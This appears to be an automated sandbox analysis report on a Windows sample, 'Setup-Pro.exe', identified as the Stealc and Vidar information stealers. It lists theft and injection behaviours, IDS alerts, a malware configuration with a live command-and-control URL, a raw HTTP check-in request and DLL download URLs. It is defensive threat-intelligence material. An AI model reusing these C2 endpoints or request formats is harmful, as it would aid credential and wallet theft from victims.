Edit tour

Windows Analysis Report
Setup-Pro.exe

Overview

General Information

Sample name:	Setup-Pro.exe
Analysis ID:	1531862
MD5:	172cdb7dba672c53f3fae91ad779c940
SHA1:	8025e4ac0cb3d692c5faebec737f8551df2a2666
SHA256:	256372f3322cb5700e6ebbebebc9cac6877d0478f57260d32f2b0488df522cf9
Tags:	exeuser-aachum
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Searches for specific processes (likely to inject)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Setup-Pro.exe (PID: 7596 cmdline: "C:\Users\user\Desktop\Setup-Pro.exe" MD5: 172CDB7DBA672C53F3FAE91AD779C940)

BitLockerToGo.exe (PID: 7772 cmdline: "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" MD5: A64BEAB5D4516BECA4C40B25DC0C1CD8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://45.66.249.162/9e6547173a597645.php", "Botnet": "v1"}

Threatname: Vidar

{"C2 url": "http://45.66.249.162/9e6547173a597645.php", "Botnet": "/55145c8889ec57f2/"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1586077537.0000000002900000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000002.1837091006.0000000003547000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1585102260.0000000002600000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1507758122.0000000002900000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
00000000.00000003.1507758122.00000000029D4000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1507758122.00000000029D4000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
00000000.00000002.1585102260.00000000027F6000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1585102260.00000000027A8000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1586077537.00000000029D4000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1586077537.00000000029D4000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
Process Memory Space: Setup-Pro.exe PID: 7596	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: Setup-Pro.exe PID: 7596	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
Process Memory Space: BitLockerToGo.exe PID: 7772	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 7772	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 7772	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 7772	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author
2.2.BitLockerToGo.exe.3000000.0.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.3.Setup-Pro.exe.2ab8000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.Setup-Pro.exe.27aa000.3.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.Setup-Pro.exe.27aa000.3.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.Setup-Pro.exe.27f8000.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.Setup-Pro.exe.27f8000.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.Setup-Pro.exe.2ab8000.8.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.Setup-Pro.exe.2ab8000.8.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
2.2.BitLockerToGo.exe.3000000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.3.Setup-Pro.exe.2ab8000.0.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 5 entries

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-11T22:32:24.595348+0200	2044245	1	Malware Command and Control Activity Detected	45.66.249.162	80	192.168.2.8	49707	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-11T22:32:24.589048+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.8	49707	45.66.249.162	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-11T22:32:25.054244+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.8	49707	45.66.249.162	80	TCP

ET MALWARE Win32/Stealc Submitting Screenshot to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-11T22:32:45.684466+0200	2044249	1	Malware Command and Control Activity Detected	192.168.2.8	49707	45.66.249.162	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-11T22:32:26.111297+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.8	49707	45.66.249.162	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-11T22:32:25.066564+0200	2044247	1	Malware Command and Control Activity Detected	45.66.249.162	80	192.168.2.8	49707	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-11T22:32:24.119417+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49707	45.66.249.162	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-11T22:32:26.575559+0200	2803304	3	Unknown Traffic	192.168.2.8	49707	45.66.249.162	80	TCP
2024-10-11T22:32:32.372621+0200	2803304	3	Unknown Traffic	192.168.2.8	49707	45.66.249.162	80	TCP
2024-10-11T22:32:34.428036+0200	2803304	3	Unknown Traffic	192.168.2.8	49707	45.66.249.162	80	TCP
2024-10-11T22:32:36.031709+0200	2803304	3	Unknown Traffic	192.168.2.8	49707	45.66.249.162	80	TCP
2024-10-11T22:32:37.553660+0200	2803304	3	Unknown Traffic	192.168.2.8	49707	45.66.249.162	80	TCP
2024-10-11T22:32:40.731271+0200	2803304	3	Unknown Traffic	192.168.2.8	49707	45.66.249.162	80	TCP
2024-10-11T22:32:42.144224+0200	2803304	3	Unknown Traffic	192.168.2.8	49707	45.66.249.162	80	TCP

HTTP traffic detected: POST /9e6547173a597645.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHDGDHJEGHIDGDHCGCBHost: 45.66.249.162Content-Length: 208Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 33 38 33 34 38 30 33 38 42 44 30 38 35 36 34 33 38 36 38 30 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 76 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 2d 2d 0d 0a Data Ascii: ------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="hwid"938348038BD0856438680------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="build"v1------IDHDGDHJEGHIDGDHCGCB--

Source: BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003547000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.162
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003547000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003587000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.162/
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003587000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.162/55145c8889ec57f2/freebl3.dll
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003587000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.162/55145c8889ec57f2/mozglue.dll
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003587000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.162/55145c8889ec57f2/mozglue.dllz
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003587000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.162/55145c8889ec57f2/msvcp140.dll
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003547000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.162/55145c8889ec57f2/nss3.dll
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003547000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.162/55145c8889ec57f2/nss3.dll88
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003587000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.162/55145c8889ec57f2/softokn3.dll
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003587000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.162/55145c8889ec57f2/softokn3.dll4
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003587000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.162/55145c8889ec57f2/sqlite3.dll
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003587000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.162/55145c8889ec57f2/sqlite3.dllH
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003587000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.162/55145c8889ec57f2/vcruntime140.dll
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003587000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.162/55145c8889ec57f2/vcruntime140.dll6
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003587000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.162/9e6547173a597645.php
Source: BitLockerToGo.exe, 00000002.00000002.1852878198.00000000296C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.162/9e6547173a597645.php&V
Source: BitLockerToGo.exe, 00000002.00000002.1852878198.00000000296C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.162/9e6547173a597645.php)S
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003587000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.162/9e6547173a597645.php6
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003587000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.162/9e6547173a597645.phpF
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003587000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.162/9e6547173a597645.phpHIDBAEGIIIDHJKEGDB
Source: BitLockerToGo.exe, 00000002.00000002.1852878198.00000000296C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.162/9e6547173a597645.phpOST
Source: BitLockerToGo.exe, 00000002.00000002.1852878198.00000000296C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.162/9e6547173a597645.phpgV
Source: BitLockerToGo.exe, 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.162/9e6547173a597645.phpition:
Source: BitLockerToGo.exe, 00000002.00000002.1852878198.00000000296C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.162/9e6547173a597645.phpl)
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.162/9e6547173a597645.phpndowsApps
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.162/9e6547173a597645.phpoinomi
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.162/9e6547173a597645.phpowser
Source: BitLockerToGo.exe, 00000002.00000002.1852878198.00000000296C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.162/9e6547173a597645.phppV
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003587000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.162/9e6547173a597645.phpr
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.162/9e6547173a597645.phprbird
Source: BitLockerToGo.exe, 00000002.00000002.1852878198.00000000296C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.162/9e6547173a597645.phpyV
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003547000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.1621
Source: BitLockerToGo.exe, 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://45.66.249.162CAEBA
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: Setup-Pro.exe, program.js.0.dr	String found in binary or memory: http://json-schema.org/draft-07/schema
Source: program.js.0.dr	String found in binary or memory: http://json-schema.org/draft-07/schema#
Source: Setup-Pro.exe, program.js.0.dr	String found in binary or memory: http://json-schema.org/schema
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: BitLockerToGo.exe, BitLockerToGo.exe, 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: BitLockerToGo.exe, 00000002.00000002.1858384056.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1847494467.000000001D530000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: BitLockerToGo.exe, 00000002.00000003.1654990713.00000000035D5000.00000004.00000020.00020000.00000000.sdmp, BKJEGDGI.2.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Setup-Pro.exe, program.js.0.dr	String found in binary or memory: https://aws.amazon.com
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1852878198.00000000296C0000.00000004.00000020.00020000.00000000.sdmp, FIJECAEHJJJKJKFIDGCB.2.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1852878198.00000000296C0000.00000004.00000020.00020000.00000000.sdmp, FIJECAEHJJJKJKFIDGCB.2.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta
Source: BitLockerToGo.exe, 00000002.00000003.1654990713.00000000035D5000.00000004.00000020.00020000.00000000.sdmp, BKJEGDGI.2.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: BitLockerToGo.exe, 00000002.00000003.1654990713.00000000035D5000.00000004.00000020.00020000.00000000.sdmp, BKJEGDGI.2.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: BitLockerToGo.exe, 00000002.00000003.1654990713.00000000035D5000.00000004.00000020.00020000.00000000.sdmp, BKJEGDGI.2.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1852878198.00000000296C0000.00000004.00000020.00020000.00000000.sdmp, FIJECAEHJJJKJKFIDGCB.2.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1852878198.00000000296C0000.00000004.00000020.00020000.00000000.sdmp, FIJECAEHJJJKJKFIDGCB.2.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: BitLockerToGo.exe, 00000002.00000003.1654990713.00000000035D5000.00000004.00000020.00020000.00000000.sdmp, BKJEGDGI.2.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: BitLockerToGo.exe, 00000002.00000003.1654990713.00000000035D5000.00000004.00000020.00020000.00000000.sdmp, BKJEGDGI.2.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: BitLockerToGo.exe, 00000002.00000003.1654990713.00000000035D5000.00000004.00000020.00020000.00000000.sdmp, BKJEGDGI.2.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Setup-Pro.exe, program.js.0.dr	String found in binary or memory: https://github.com/aws/jsii
Source: Setup-Pro.exe, program.js.0.dr	String found in binary or memory: https://github.com/aws/jsii.git
Source: Setup-Pro.exe, program.js.0.dr	String found in binary or memory: https://github.com/aws/jsii/issues
Source: program.js.0.dr	String found in binary or memory: https://github.com/jprichardson/node-fs-extra/issues/269
